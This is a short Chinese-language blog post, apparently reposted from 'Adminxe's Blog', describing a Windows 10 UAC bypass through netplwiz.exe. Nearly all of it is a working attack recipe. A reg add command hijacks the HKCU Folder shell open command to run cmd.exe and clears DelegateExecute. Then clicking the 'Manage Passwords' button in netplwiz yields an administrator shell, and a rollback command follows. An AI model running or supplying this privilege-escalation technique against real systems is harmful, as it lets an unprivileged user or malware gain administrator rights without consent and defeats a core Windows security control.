本文介绍了一种在Windows10上通过修改注册表项实现GUIHack的方法，绕过UAC(User Account Control)进行管理员权限提升。具体操作涉及使用netplwiz.exe，并通过cmd获取AdministratorShell。
Windows 10 GUI UAC绕过（netplwiz.exe)
- 类型：GUI Hack
- 方法：注册表项操作
- 目标：\system32\netplwiz.exe
- 组件：攻击者定义
- Works from: window 10
HKCU\Software\Classes\Folder\shell\open\command
单击netplwiz.exe中的“管理密码”按钮时调用
产生步骤：
运行命令
reg add “HKCU\Software\Classes\Folder\shell\open\command” /d “cmd.exe /c cmd.exe” /f && reg add HKCU\Software\Classes\Folder\shell\open\command /v “DelegateExecute” /f
在cmd中运行netplwiz.exe。
选择“ 高级 ”选项卡，然后单击“ 管理密码 ”按钮。
然后您将获得Administrator Shell。
回滚
reg delete “HKCU\Software\Classes\Folder\shell\open\command” /f
转载请注明：Adminxe's Blog » Windows 10 GUI UAC绕过（netplwiz.exe)
扫一扫
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
